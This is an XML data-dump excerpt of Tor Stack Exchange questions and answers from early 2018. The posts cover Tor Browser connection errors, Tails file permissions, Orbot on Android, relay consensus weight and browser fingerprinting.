  <row Id="16718" PostTypeId="1" CreationDate="2018-02-22T18:48:14.507" Score="1" ViewCount="11839" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YMAQa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YMAQa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;logs are in the SS. i am trying to run it on kali linux &lt;/p&gt;&#xA;" OwnerUserId="21125" LastActivityDate="2018-12-17T20:03:05.640" Title="stuck on establishing a tor circuit for the last 40 minutes" Tags="|help|" AnswerCount="1" CommentCount="2" ClosedDate="2019-06-07T21:29:28.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="16720" PostTypeId="1" AcceptedAnswerId="16730" CreationDate="2018-02-22T23:35:43.017" Score="1" ViewCount="2948" Body="&lt;p&gt;Kinda new to this. Don't expect too much technical knowledge. Used TOR on home PC for a while, installed it on laptop yesterday and it was working fine. Today I launch it and nothing. Secure Connection Failed. I've tried restarting, reinstalling, etc. &lt;/p&gt;&#xA;" OwnerUserId="21127" LastActivityDate="2018-02-24T00:36:15.297" Title="Secure Connection Failed for every web page?" Tags="|help|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16723" PostTypeId="1" CreationDate="2018-02-23T13:14:42.083" Score="0" ViewCount="890" Body="&lt;p&gt;Wondering the steps to take to make my note 8 totally anonymous so there's less chance of anything getting hacked after downloading tor system. Is it enough to just check all the boxes on apps under the orbit settings or do you need to take out all apps and restart them after downloading the network? Appreciate it if anyone knows for sure. &lt;/p&gt;&#xA;" OwnerUserId="21133" LastActivityDate="2022-01-11T21:03:10.290" Title="tor for Android phone" Tags="|configuration|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16724" PostTypeId="1" CreationDate="2018-02-23T14:23:18.853" Score="0" ViewCount="805" Body="&lt;p&gt;When I open onion relay on Tails , and then open Electrum Wallet on LiveCD Tails&#xA;Does that Electrum connected with Tor proxy/network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope some users would help me to explain this things&lt;/p&gt;&#xA;" OwnerUserId="21110" LastActivityDate="2022-01-05T21:04:45.373" Title="Tor Onions active on Tail , does Electrum use that proxy?" Tags="|anonymity|security|relays|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16727" PostTypeId="2" ParentId="16723" CreationDate="2018-02-23T20:20:11.947" Score="-1" Body="&lt;p&gt;I don't know much about the VPN tied to Orbot or Orfox. I will say this, from a security standpoint, it's always better running a VPN and TOR together as you may know. What's important here, is the privacy policy of the VPN service you use. Some will keep logs of traffic from your machine and if subpoenaed by the authorities subsequently have to turn them over. As an example if you were to purchase a subscription from a provider such as &quot;Private Internet Access&quot;, you will clearly see that they keep no logs of any user activity. Meaning even if subpoenaed they won't be able to turn over any of your netflow because they don't record it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get that particular service for $2.90 a month, or $40 for a year on multiple devices. I highly recommend it before connecting to the TOR network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My apologies in advance for not being able to definitively answer your question. Also for any typos and my grammar. I'm still new to this, but happy to help if you have any further questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards, &#xA;Liquid &lt;/p&gt;&#xA;" OwnerUserId="21137" LastActivityDate="2018-02-23T20:20:11.947" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16730" PostTypeId="2" ParentId="16720" CreationDate="2018-02-23T23:17:42.347" Score="4" Body="&lt;p&gt;This worked for me: &lt;a href=&quot;https://i.stack.imgur.com/nkCDD.jpg&quot; rel=&quot;noreferrer&quot;&gt;https://i.stack.imgur.com/nkCDD.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even disabled Kaspersky and it wouldn't work so can't explain it, but finally after 3 days it's working!!&lt;/p&gt;&#xA;" OwnerUserId="21141" LastActivityDate="2018-02-23T23:17:42.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16732" PostTypeId="2" ParentId="16720" CreationDate="2018-02-24T00:36:15.297" Score="2" Body="&lt;p&gt;Maybe Patch g for Kaspersky is the problem&#xA;&lt;a href=&quot;https://support.kaspersky.com/13617#block0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.kaspersky.com/13617#block0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21142" LastActivityDate="2018-02-24T00:36:15.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16735" PostTypeId="1" CreationDate="2018-02-24T03:59:14.357" Score="0" ViewCount="193" Body="&lt;p&gt;Even though circuit length is limited to 8, can an attacker create a circuit of length 8, and then get the exit node to create another circuit of length 8 (get the exit node to be a Tor client)? Then could he repeat this to get a really long chain of circuits and flood the network?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I guess this is possible unless exit policies block connections to Tor ports on entry guards, or entry guards reject exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="21143" LastEditorUserId="21143" LastEditDate="2018-02-25T18:02:01.913" LastActivityDate="2021-12-31T10:07:10.653" Title="Is denial of service possible by getting the exit node to create another circuit?" Tags="|exit-policies|dos|" AnswerCount="3" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="16738" PostTypeId="2" ParentId="16724" CreationDate="2018-02-24T23:16:23.353" Score="0" Body="&lt;p&gt;Tails by design forces every connection to pass through the Tor network, the Tor service starts automatically as so this does not need user interaction. If you're connected to the Tor network you should see the usual green onion, otherwise this is the right place to ask (but in another question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that if tails cannot connect the Tor network, also Electrum Wallet will not be able to connect to its network.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2018-02-24T23:16:23.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16739" PostTypeId="2" ParentId="16717" CreationDate="2018-02-25T13:54:20.537" Score="0" Body="&lt;p&gt;The problem occured by cyrillic symbols. Quick solution is using in torrc for TEB paths, generated by TBB for their torrc. True way: encode your non-latin symbols to escaped octal CP-1251 numbers, escaping all &lt;em&gt;other&lt;/em&gt; slashes in path and path quotation. For example:&#xA;&lt;code&gt;DataDirectory C:\Users\Андрей\Desktop\Tor Expert Bundle\Data&lt;/code&gt; -&gt;&#xA;&lt;code&gt;DataDirectory &quot;C:\\Users\\\300\355\344\360\345\351\\Desktop\\Tor Expert Bundle\\Data&quot;&lt;/code&gt;&#xA;This variant works, all other tested (without quotes, double escaping, etc) don't.&lt;/p&gt;&#xA;" OwnerUserId="21122" LastActivityDate="2018-02-25T13:54:20.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16740" PostTypeId="1" CreationDate="2018-02-25T13:55:42.660" Score="0" ViewCount="2295" Body="&lt;p&gt;I have installed tor on Ubuntu 16.04. It seems to be running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ps aux |grep to&#xA;debian-+  1300  0.0  0.2  89504 44416 ?        Ss   Feb24   0:12 /usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I try to tell Firefox to connect to a socks5 proxy via localhost:9150, when I navigate to any page, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Firefox is configured to use a proxy server that is refusing connections.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(NOTE: please don't advise me to use a &quot;browser bundle&quot;, I want to configure other programs to use tor, Firefox is just a proof-of-life test case.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the port&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; sudo ss -l | grep tor -w&#xA;u_str  LISTEN     0      128    /var/run/tor/socks 27033                 * 0                    &#xA;u_str  LISTEN     0      128    /var/run/tor/control 27034                 * 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like tor is listening on a different port, but if I configure Firefox to use 27033 instead of 9150, I get the same error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&lt;/code&gt; contains&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this port in Firefox configuration also doesn't work. The file &lt;code&gt;/etc/tor/torrc&lt;/code&gt; contains nothing but comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;" OwnerUserId="21159" LastActivityDate="2019-12-19T10:02:50.310" Title="tor running but can't connect through socks proxy" Tags="|linux|proxy|socks|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16741" PostTypeId="2" ParentId="16716" CreationDate="2018-02-25T13:57:06.363" Score="-1" Body="&lt;p&gt;Tor encodes all cyrillic symbols in CP-1251, represented as octal numbers and escaped by reversed slashes.&lt;/p&gt;&#xA;" OwnerUserId="21122" LastActivityDate="2018-02-25T13:57:06.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16746" PostTypeId="2" ParentId="958" CreationDate="2018-02-26T14:43:29.310" Score="0" Body="&lt;p&gt;Updating for 2018: Orbot now allows transparent torrification without root on android and ios devices. However this is not always beneficial as it forces identifying information through Tor which can de-anonymize you at the exit. I personally now use a multi-hop vpn and Orbot simultaneously to allow the use of Orfox through Tor and everything else through vpn. This is possible on android as of v 7.0. &lt;/p&gt;&#xA;" OwnerUserId="21171" LastEditorUserId="21171" LastEditDate="2018-02-26T15:09:06.310" LastActivityDate="2018-02-26T15:09:06.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16747" PostTypeId="1" AcceptedAnswerId="16762" CreationDate="2018-02-26T15:30:11.263" Score="0" ViewCount="860" Body="&lt;p&gt;I recently set up (19 days ago or so) a new, non-exit, relay. It's gotten the guard, stable and fast flags, but it's consensus weight keeps jumping up and down for some reason (my understanding is that it should keep rising slowly after getting the guard flag). /var/log/tor/notices.log doesn't show anything of interest (I was getting an error due to too little CPU/RAM for the traffic load I was seeing, but I doubled the size of the VM after around 2 weeks, which got rid of that error). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay in question:&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/4CA64E677ECFF23B138CFE70A6A02E94BDF3A805&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/4CA64E677ECFF23B138CFE70A6A02E94BDF3A805&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20939" LastActivityDate="2018-12-18T11:48:43.497" Title="What's wrong with my relay? (Consensus Weight Jumping Around)" Tags="|relays|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16748" PostTypeId="1" CreationDate="2018-02-26T23:55:14.187" Score="1" ViewCount="321" Body="&lt;p&gt;Secure Connection Failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connection to the server was reset while the page was loading.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.&#xA;Please contact the website owners to inform them of this problem.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Learn more…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using TOR for over a year and this is the first time this has happened. I have check my clock and the setting seem accurate to me. I am not tech savvy. I have another computer hooked up to the same router and I'm able to connect with that computer. Any help would be appreciated. I see posts with log file and I don't even know how to find a log file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="21139" LastActivityDate="2021-08-03T13:03:50.373" Title="For the past 5 days when I click on &quot;Test for Network Setttings&quot; all I get is &quot;Secure Connection Failed&quot;. This is the first time this has happened." Tags="|help|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16749" PostTypeId="1" CreationDate="2018-02-27T00:42:47.360" Score="1" ViewCount="11043" Body="&lt;p&gt;I have setup the persistence volume within Tail (Complete).&lt;/p&gt;&#xA;&lt;p&gt;Problem: When I download a file it send it asks me where I want to save it. I try to click which where to save example like in Home, and an error comes up saying&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Could not read the content of the Desktop&#xA;Error opening directory'home/amnesia'&#xA;Desktop: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only place it will let me save is in the Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;Then when I try to use the terminal I use the &lt;code&gt;sudo apt-get install&lt;/code&gt; and the file name which is the &lt;code&gt;OTRproxy&lt;/code&gt;. Im getting the error&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;E: Couldn't find any package by glob 'file name'&#xA;E: Couldn't find any package by regx 'file name'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Several things I have tried and have been unsuccessful. I am just trying to be able to execute these files I download from the Tor Browser&lt;/p&gt;&#xA;" OwnerUserId="21177" LastEditorUserId="14832" LastEditDate="2023-11-06T18:34:36.580" LastActivityDate="2023-11-06T18:34:36.580" Title="Error in Tails Error opening directory 'home/amnesia'" Tags="|tor-browser-bundle|tails|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16751" PostTypeId="1" AcceptedAnswerId="16758" CreationDate="2018-02-27T13:56:09.870" Score="0" ViewCount="357" Body="&lt;p&gt;If you make a tor hidden service which has scripts and CSS (the whole core) of bootstrap and the whole Jquery library in the server (and included in the pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you deanonymize the tor hidden website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We hear alot that Javascript, Flash Player and more... is really bad for the user to run because it might deanonymize them, but those it work the other way? Can it deanonymize the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I have read the Tor Bundle activates Javascript by default now because they say too many sites requires Javascript but does the majority of users have Javascript activated?&lt;/p&gt;&#xA;" OwnerUserId="21181" LastEditorUserId="21181" LastEditDate="2018-02-27T14:05:01.027" LastActivityDate="2018-02-28T08:19:44.870" Title="Jquery and bootstrap risk for Tor Hidden service" Tags="|tor-browser-bundle|onion-services|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16752" PostTypeId="1" CreationDate="2018-02-27T14:22:39.303" Score="0" ViewCount="667" Body="&lt;p&gt;I want to run my own tor node/hop and may be use it as an exit node. Do you have any information?&lt;/p&gt;&#xA;" OwnerUserId="21182" LastActivityDate="2020-12-25T19:06:15.737" Title="How can I run my own tor node or hop?" Tags="|node|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16753" PostTypeId="2" ParentId="16749" CreationDate="2018-02-27T23:29:21.467" Score="1" Body="&lt;p&gt;Apparmor blocks it. Tor Browser can only access /home/amnesia/Tor Browser/ for security reason.&lt;/p&gt;&#xA;" OwnerUserId="21187" LastActivityDate="2018-02-27T23:29:21.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16755" PostTypeId="2" ParentId="16749" CreationDate="2018-02-28T08:06:22.350" Score="2" Body="&lt;p&gt;Firstly, Tails uses &lt;code&gt;apparmor&lt;/code&gt; to restrict Tor Browser's access to the file system, it can only save files to &lt;code&gt;~/Tor Browser&lt;/code&gt; or &lt;code&gt;~/Persistence/Tor Browser&lt;/code&gt;. For more details on this, see my answer &lt;a href=&quot;https://tor.stackexchange.com/a/14236/12737&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, &lt;code&gt;apt&lt;/code&gt; doesn't install by filename. It installs by the package name. &lt;code&gt;otrproxy&lt;/code&gt; is no longer supported and hasn't seen an update in over 10 years, it's creators warn that it should no longer be used. I would heed their warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that it will not work under Tails, since it has strict firewalling and won't allow you to connect to service outside those it's configured to use or allow. Even if you manage to install &lt;code&gt;otrproxy&lt;/code&gt;, programs that you run won't be able to connect to it.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-28T08:06:22.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16756" PostTypeId="1" AcceptedAnswerId="16757" CreationDate="2018-02-28T08:07:13.620" Score="1" ViewCount="1573" Body="&lt;p&gt;I use the Tor Browser to access the internet, but when I log into my Facebook account it has been locked and shows a security message from Facebook informing me that someone has tried to log into my account from Portugal. I am living in Sri Lanka.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the issue? Did someone try to hack my Facebook account via Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="21191" LastEditorUserId="71" LastEditDate="2018-03-27T20:27:52.747" LastActivityDate="2021-10-08T14:38:51.480" Title="Has my Facebook Account been hacked when using Tor?" Tags="|tor-browser-bundle|security|facebook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16757" PostTypeId="2" ParentId="16756" CreationDate="2018-02-28T08:14:25.043" Score="4" Body="&lt;p&gt;You probably logged into your Facebook account over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook sees you exiting the Tor network in Portugal, or what it thinks is Portugal and so it flagged up your own login attempt as suspicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In future you might consider using Facebook's own Onion Service at &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-28T08:14:25.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16758" PostTypeId="2" ParentId="16751" CreationDate="2018-02-28T08:19:44.870" Score="0" Body="&lt;p&gt;No, there is no increased risk to services based on the kind of file you serve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTP is agnostic about the kind of data that is transfered over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Serving .css or .js files is the same as serving .exe files from the perspective of an HTTP server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risk is in the client who is reading and executing the code provided by the remote server. The server is, generally, not at risk based on the type of content served. There are some potential corner cases to this rule but they don't apply to simply serving .js or .css files to clients.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-28T08:19:44.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16760" PostTypeId="2" ParentId="16710" CreationDate="2018-02-28T09:32:42.053" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the other things that websites have access to? are there any unique fingerprints/ hardware ID's websites can see?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Tor Browser? None that are currently known. Tor Browser takes steps to prevent such fingerprinting, through configuration or patches.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I overcome this situation? If I use Tails Linux, with TOR browser, would it &quot;erase&quot; my fingerprints? if yes, then when?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor Browser under Tails is no different from Tor Browser on any other platform in that respect.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does it work on Windows VS Tails Linux? Where are fingerprints saved/accessed from?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As noted, Tails is the same as any other Tor Browser. Fingerprints are not &quot;saved&quot; in any way, they are simply aspects of some hardware or software that are inherent to it's operation.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-28T09:32:42.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16761" PostTypeId="2" ParentId="16711" CreationDate="2018-02-28T09:37:38.647" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) how does tails spoof your device identification Id's/fingerprints ? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only spoofing of device identifiers performed by Tails is the spoofing of the network interfaces MAC address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) is spoofing done by tails or tor ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's done by Tails.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) how do I confirm that the data websites have access to, is spoofed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The websites don't have direct access to hardware identifiers. Fingerprints can be confirmed by trying to perform known fingerprinting techniques and ensuring that the response doesn't match the expected response and isn't meaningfully distinguishable from other users. It's possible that unknown fingerprinting techniques exist. Due to the method of fingerprinting being unknown, you obviously cannot check to see that such information is spoofed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4) when does tails spoof my data ? When booting from USB in live mode? Or when installed on a USB? Or both ? Also does persistent storage have anything to do with storing device ids ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The MAC is set to a spoofed value during the operating system boot, before any network connection is made.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-28T09:37:38.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16762" PostTypeId="2" ParentId="16747" CreationDate="2018-02-28T09:56:10.293" Score="0" Body="&lt;p&gt;Consensus weight is just an indication of the measured throughput of the relay. It's the &quot;Observed Bandwidth&quot;, as measured by Bandwidth Authority relays. &lt;em&gt;(For more on Bandwidth Authorities, see &lt;a href=&quot;https://gitweb.torproject.org/torflow.git/tree/NetworkScanners/BwAuthority/README.spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorFlow&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if we look at your relay just now on Atlas, it shows: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Consensus Weight&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;7858&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And if we look at the descriptor of the relay, it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r grumpytechie1 TKZOZ37P8jsTjP5wpqAulL3zqAU 1z/zwwjEv98DFWqRnF2vt4BnYL0 2018-02-27 18:03:15 185.103.110.248 9001 9030&#xA;s Fast Guard HSDir Running Stable V2Dir Valid&#xA;w Bandwidth=7858&#xA;p reject 1-65535&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We see that the &lt;code&gt;Bandwidth=&lt;/code&gt; value is the same as it's &quot;&lt;em&gt;Consensus Weight&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is documented in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2245&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dir-spec.txt&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;w&quot; SP &quot;Bandwidth=&quot; INT [SP &quot;Measured=&quot; INT] [SP &quot;Unmeasured=1&quot;] NL&#xA;&#xA;    [At most once.]&#xA;&#xA;    An estimate of the bandwidth of this relay, in an arbitrary&#xA;    unit (currently kilobytes per second).  Used to weight router&#xA;    selection. See section 3.4.2 for details on how the value of&#xA;    Bandwidth is determined in a consensus.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-28T09:56:10.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16765" PostTypeId="2" ParentId="16748" CreationDate="2018-02-28T17:31:05.777" Score="1" Body="&lt;p&gt;For me - Solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Kaspersky Antivirus: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You can add firefox.exe from &quot;Tor\Browser&quot; path as a trust software&#xA;2) Kaspersky Options - Network Parametres - choose &quot;Do not verify secured connections&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work.&lt;/p&gt;&#xA;" OwnerUserId="21198" LastActivityDate="2018-02-28T17:31:05.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16767" PostTypeId="1" CreationDate="2018-02-28T19:42:45.533" Score="2" ViewCount="280" Body="&lt;p&gt;OK so I am using some program that acts like a big bag of whatever you put inside it, pinned to a taskbar, so you can access tons of different programs that you put inside it (.exes) from right clicking on it, and it's working fine excepts that it tries to be smart (when it isn't), so when the program is called &quot;firefox.exe&quot; it automatically opens Firefox browser. So if I put Tor executable &quot;firefox.exe&quot; inside it will not open Tor but Firefox (same goes for Firefox Dev. Edition).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if I change Tor's firefox.exe to something different, will that compromise my security? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21202" LastActivityDate="2018-02-28T19:42:45.533" Title="is it safe to rename firefox.exe?" Tags="|security|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16770" PostTypeId="2" ParentId="16710" CreationDate="2018-03-01T02:26:42.633" Score="0" Body="&lt;p&gt;Using Tor protects you against a common form of Internet surveillance known as &quot;traffic analysis.&quot; Traffic analysis can be used to infer who is talking to whom over a public network. Knowing the source and destination of your Internet traffic allows others to track your behavior and interests. This can impact your checkbook if, for example, an e-commerce site uses price discrimination based on your country or institution of origin. It can even threaten your job and physical safety by revealing who and where you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic problem for the privacy minded is that the recipient of your communications can see that you sent it by looking at headers. So can authorized intermediaries like Internet service providers, and sometimes unauthorized intermediaries as well. A very simple form of traffic analysis might involve sitting somewhere between sender and recipient on the network, looking at headers.&#xA;Tor helps to reduce the risks of both simple and sophisticated traffic analysis by distributing your transactions over several places on the Internet, so no single point can link you to your destination. The idea is similar to using a twisty, hard-to-follow route in order to throw off somebody who is tailing you — and then periodically erasing your footprints. Instead of taking a direct route from source to destination, data packets on the Tor network take a random pathway through several relays that cover your tracks so no observer at any single point can tell where the data came from or where it's going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a private network pathway with Tor, the user's software or client incrementally builds a circuit of encrypted connections through relays on the network. The circuit is extended one hop at a time, and each relay along the way knows only which relay gave it data and which relay it is giving data to. No individual relay ever knows the complete path that a data packet has taken. The client negotiates a separate set of encryption keys for each hop along the circuit to ensure that each hop can't trace these connections as they pass through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For efficiency, the Tor software uses the same circuit for connections that happen within the same ten minutes or so. Later requests are given a new circuit, to keep people from linking your earlier actions to the new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just an extract from the Tor overview page.For more clarity and understanding,please visit the Tor website via this link https://www.torproject.org.&lt;/p&gt;&#xA;" OwnerUserId="21208" LastActivityDate="2018-03-01T02:26:42.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16771" PostTypeId="2" ParentId="16718" CreationDate="2018-03-01T02:34:21.983" Score="1" Body="&lt;p&gt;One of the most common issues that causes connection errors in Tor Browser is an incorrect system clock. Please make sure your system clock and timezone are set accurately. If this doesn't fix the problem, see the ​Troubleshooting page on the ​Tor Browser User Manual ​&lt;a href=&quot;https://tb-manual.torproject.org/en-US/troubleshooting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/en-US/troubleshooting.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21208" LastActivityDate="2018-03-01T02:34:21.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16774" PostTypeId="2" ParentId="12857" CreationDate="2018-03-01T14:18:49.263" Score="1" Body="&lt;p&gt;Don't know if it's related, but the same issue seems to happen to me sometines. Simply changing identity works for me, tapping the round arrow in the notification or restarting orbot. Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="21212" LastActivityDate="2018-03-01T14:18:49.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
